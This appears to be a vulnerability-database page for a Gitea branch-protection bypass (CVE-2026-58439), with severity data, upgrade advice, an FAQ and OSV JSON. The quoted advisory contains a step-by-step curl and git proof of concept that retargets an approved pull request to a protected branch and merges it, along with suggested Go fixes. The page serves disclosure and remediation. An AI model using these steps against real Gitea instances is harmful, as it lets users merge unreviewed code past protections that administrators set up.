CVE-2026-58439: Gitea Branch Protection Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-w5pg-649r-p6gg
CVSS 8.1
CWE-863
Published
Advisory Summary

CVE-2026-58439 is a HIGH (CVSS 8.1) branch protection bypass vulnerability (CWE-863: Incorrect Authorization) affecting Gitea libraries in the Go ecosystem. The issue involves branch protection bypass via pr retargeting preserves stale `official` approval flag. Remediation is available by upgrading affected packages to version 1.27.0.

CVE-2026-58439 at a Glance

CVE Identifier CVE-2026-58439
GHSA Identifier GHSA-w5pg-649r-p6gg
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-863: Incorrect Authorization
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-58439

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-58439, inspect your project dependencies for Gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Gitea does not re-evaluate the `official` flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an `official: true` approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., `master`). The approval, which would have been `official: false` if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval. - Confirmed on Gitea **1.25.4** (`1.25.4+41-g96515c0f20`) ## Vulnerability Details ### Root Cause When a review is submitted on a pull request, Gitea computes the `official` flag by checking whether the reviewer is in the **target branch's** approval whitelist (`IsUserOfficialReviewer` in `models/git/protected_branch.go`). This flag is stored in the database as a boolean on the review record. When a PR's target branch is subsequently changed via `ChangeTargetBranch` (`services/pull/pull.go:218`), the function: - Updates `pr.BaseBranch` - Recalculates merge feasibility and divergence - Deletes old push comments - Creates a "change target branch" comment But it does **not**: - Re-evaluate `official` on existing reviews - Dismiss existing approvals - Check whether reviewers are in the new target branch's approval whitelist At merge time, `GetGrantedApprovalsCount` (`models/issues/pull.go:766`) counts reviews where `official = true AND dismissed = false AND type = Approve`. It reads the stored boolean — it does not re-check the whitelist. The stale `official: true` from the unprotected branch satisfies the protected branch's approval requirement. ### Relevant Code Paths 1. **Review creation** — `services/pull/review.go:SubmitReview` calls `IsOfficialReviewer` against the current `pr.BaseBranch`'s protection rules, stores `official=true/false` 2. **Target branch change** — `services/pull/pull.go:ChangeTargetBranch` modifies `pr.BaseBranch` but does not touch existing reviews 3. **Merge check** — `services/pull/check.go:CheckPullMergeable` → `models/issues/pull.go:GetGrantedApprovalsCount` counts stored `official=true` reviews without re-evaluating against the new branch's whitelist ### Prerequisites The attacker needs: - **Write (push) access** to the repository (collaborator with write role, or the ability to create branches — not admin) - The ability to create pull requests (standard for any user with push access) - A second account (or any non-admin account) to submit the approval on the unprotected branch The attacker does **not** need: - Admin access - To be in the approval whitelist for the protected branch - Any interaction from the branch protection's designated approvers ## Proof of Concept ### Setup Repository `owner/repo` with branch `master` protected: - Required approvals: 1 - Approval whitelist enabled, containing only user `admin-reviewer` - User `attacker` has write access but is **not** in the approval whitelist ### Steps ```bash BASE="http://gitea-instance:3000" OWNER="owner" REPO="repo" ATTACKER_AUTH="attacker:password" ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user # 1. Create an unprotected temporary branch from master curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}' # 2. Push a malicious commit to a feature branch git checkout -b malicious-branch origin/master echo "malicious payload" > payload.txt git add payload.txt git commit -m "innocent looking commit" git push origin malicious-branch # 3. Create PR targeting the UNPROTECTED branch curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{ "head": "malicious-branch", "base": "tmp-unprotected", "title": "Add feature" }' # Returns PR #N # 4. Approve the PR (official=true because tmp-unprotected has no protection) curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ACCOMPLICE_AUTH" \ -H "Content-Type: application/json" \ -d '{"event": "APPROVED", "body": "LGTM"}' # Response includes: "official": true # 5. Retarget the PR to protected master curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"base": "master"}' # 6. Verify: approval is still official=true against master curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ATTACKER_AUTH" # Response: "official": true, "dismissed": false, "stale": false # 7. Merge — succeeds despite no whitelisted approver reviewing curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"do": "merge"}' # Returns 200 OK — malicious commit is now on master ``` ### Observed API Responses **Step 4** — Approval on unprotected branch: ```json {"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}} ``` **Step 6** — Same approval after retarget to protected master: ```json {"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}} ``` The `official` flag is unchanged. Under the protected branch's rules, this user's approval should be `official: false`. ## Impact - **Branch protection bypass**: Protected branches with approval whitelists can be merged into without any whitelisted user approving - **Privilege escalation**: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements ## Suggested Fix Re-evaluate the `official` flag on all existing reviews when a PR's target branch changes. In `services/pull/pull.go:ChangeTargetBranch`, after updating `pr.BaseBranch`: ```go // After updating the base branch, re-evaluate official status on all reviews reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{ IssueID: pr.IssueID, Type: issues_model.ReviewTypeApprove, }) if err != nil { return err } newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch) if err != nil { return err } for _, review := range reviews { wasOfficial := review.Official if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist { review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer) } else { review.Official = false } if wasOfficial != review.Official { if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil { return err } } } ``` Alternatively, dismiss all existing approvals on retarget (simpler, more conservative): ```go // Dismiss all approvals when target branch changes if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{ IssueID: pr.IssueID, Message: "Dismissed: PR target branch changed", }); err != nil { return err } ```

CVE-2026-58439 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.27.0
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.27.0
1.27.0

References

Frequently Asked Questions

What is CVE-2026-58439?
CVE-2026-58439 is a security vulnerability in Gitea involving Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag under CWE-863: Incorrect Authorization.
Which Gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-58439?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What is the CVSS score of CVE-2026-58439?
CVE-2026-58439 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-58439?
CVE-2026-58439 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-58439?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w5pg-649r-p6gg",
  "modified" : "2026-07-21T20:15:33Z",
  "published" : "2026-07-21T20:14:12Z",
  "aliases" : [ "CVE-2026-58439" ],
  "summary" : "Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag",
  "details" : "## Summary\n\nGitea does not re-evaluate the `official` flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an `official: true` approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., `master`). The approval, which would have been `official: false` if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.\n\n- Confirmed on Gitea **1.25.4** (`1.25.4+41-g96515c0f20`)\n\n## Vulnerability Details\n\n### Root Cause\n\nWhen a review is submitted on a pull request, Gitea computes the `official` flag by checking whether the reviewer is in the **target branch's** approval whitelist (`IsUserOfficialReviewer` in `models/git/protected_branch.go`). This flag is stored in the database as a boolean on the review record.\n\nWhen a PR's target branch is subsequently changed via `ChangeTargetBranch` (`services/pull/pull.go:218`), the function:\n- Updates `pr.BaseBranch`\n- Recalculates merge feasibility and divergence\n- Deletes old push comments\n- Creates a \"change target branch\" comment\n\nBut it does **not**:\n- Re-evaluate `official` on existing reviews\n- Dismiss existing approvals\n- Check whether reviewers are in the new target branch's approval whitelist\n\nAt merge time, `GetGrantedApprovalsCount` (`models/issues/pull.go:766`) counts reviews where `official = true AND dismissed = false AND type = Approve`. It reads the stored boolean — it does not re-check the whitelist. The stale `official: true` from the unprotected branch satisfies the protected branch's approval requirement.\n\n### Relevant Code Paths\n\n1. **Review creation** — `services/pull/review.go:SubmitReview` calls `IsOfficialReviewer` against the current `pr.BaseBranch`'s protection rules, stores `official=true/false`\n2. **Target branch change** — `services/pull/pull.go:ChangeTargetBranch` modifies `pr.BaseBranch` but does not touch existing reviews\n3. **Merge check** — `services/pull/check.go:CheckPullMergeable` → `models/issues/pull.go:GetGrantedApprovalsCount` counts stored `official=true` reviews without re-evaluating against the new branch's whitelist\n\n### Prerequisites\n\nThe attacker needs:\n- **Write (push) access** to the repository (collaborator with write role, or the ability to create branches — not admin)\n- The ability to create pull requests (standard for any user with push access)\n- A second account (or any non-admin account) to submit the approval on the unprotected branch\n\nThe attacker does **not** need:\n- Admin access\n- To be in the approval whitelist for the protected branch\n- Any interaction from the branch protection's designated approvers\n\n## Proof of Concept\n\n### Setup\n\nRepository `owner/repo` with branch `master` protected:\n- Required approvals: 1\n- Approval whitelist enabled, containing only user `admin-reviewer`\n- User `attacker` has write access but is **not** in the approval whitelist\n\n### Steps\n\n```bash\nBASE=\"http://gitea-instance:3000\"\nOWNER=\"owner\"\nREPO=\"repo\"\nATTACKER_AUTH=\"attacker:password\"\nACCOMPLICE_AUTH=\"accomplice:password\"  # any non-whitelisted user\n\n# 1. Create an unprotected temporary branch from master\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/branches\" \\\n  -u \"$ATTACKER_AUTH\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"new_branch_name\": \"tmp-unprotected\", \"old_branch_name\": \"master\"}'\n\n# 2. Push a malicious commit to a feature branch\ngit checkout -b malicious-branch origin/master\necho \"malicious payload\" > payload.txt\ngit add payload.txt\ngit commit -m \"innocent looking commit\"\ngit push origin malicious-branch\n\n# 3. Create PR targeting the UNPROTECTED branch\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls\" \\\n  -u \"$ATTACKER_AUTH\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"head\": \"malicious-branch\",\n    \"base\": \"tmp-unprotected\",\n    \"title\": \"Add feature\"\n  }'\n# Returns PR #N\n\n# 4. Approve the PR (official=true because tmp-unprotected has no protection)\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews\" \\\n  -u \"$ACCOMPLICE_AUTH\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"event\": \"APPROVED\", \"body\": \"LGTM\"}'\n# Response includes: \"official\": true\n\n# 5. Retarget the PR to protected master\ncurl -X PATCH \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N\" \\\n  -u \"$ATTACKER_AUTH\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"base\": \"master\"}'\n\n# 6. Verify: approval is still official=true against master\ncurl \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews\" \\\n  -u \"$ATTACKER_AUTH\"\n# Response: \"official\": true, \"dismissed\": false, \"stale\": false\n\n# 7. Merge — succeeds despite no whitelisted approver reviewing\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge\" \\\n  -u \"$ATTACKER_AUTH\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"do\": \"merge\"}'\n# Returns 200 OK — malicious commit is now on master\n```\n\n### Observed API Responses\n\n**Step 4** — Approval on unprotected branch:\n```json\n{\"id\": 16, \"state\": \"APPROVED\", \"official\": true, \"dismissed\": false, \"user\": {\"login\": \"accomplice\"}}\n```\n\n**Step 6** — Same approval after retarget to protected master:\n```json\n{\"id\": 16, \"state\": \"APPROVED\", \"official\": true, \"dismissed\": false, \"stale\": false, \"user\": {\"login\": \"accomplice\"}}\n```\n\nThe `official` flag is unchanged. Under the protected branch's rules, this user's approval should be `official: false`.\n\n## Impact\n\n- **Branch protection bypass**: Protected branches with approval whitelists can be merged into without any whitelisted user approving\n- **Privilege escalation**: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements\n\n## Suggested Fix\n\nRe-evaluate the `official` flag on all existing reviews when a PR's target branch changes. In `services/pull/pull.go:ChangeTargetBranch`, after updating `pr.BaseBranch`:\n\n```go\n// After updating the base branch, re-evaluate official status on all reviews\nreviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{\n    IssueID: pr.IssueID,\n    Type:    issues_model.ReviewTypeApprove,\n})\nif err != nil {\n    return err\n}\n\nnewProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)\nif err != nil {\n    return err\n}\n\nfor _, review := range reviews {\n    wasOfficial := review.Official\n    if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {\n        review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)\n    } else {\n        review.Official = false\n    }\n    if wasOfficial != review.Official {\n        if _, err := db.GetEngine(ctx).ID(review.ID).Cols(\"official\").Update(review); err != nil {\n            return err\n        }\n    }\n}\n```\n\nAlternatively, dismiss all existing approvals on retarget (simpler, more conservative):\n\n```go\n// Dismiss all approvals when target branch changes\nif _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{\n    IssueID: pr.IssueID,\n    Message: \"Dismissed: PR target branch changed\",\n}); err != nil {\n    return err\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38319"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38402"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/74ad781db9c37134ee9280c69a6b1de53801503e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/8401fe7c544abff1ecc49d7f3166fd4ee0c174ef"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T20:14:12Z",
    "nvd_published_at" : null
  }
}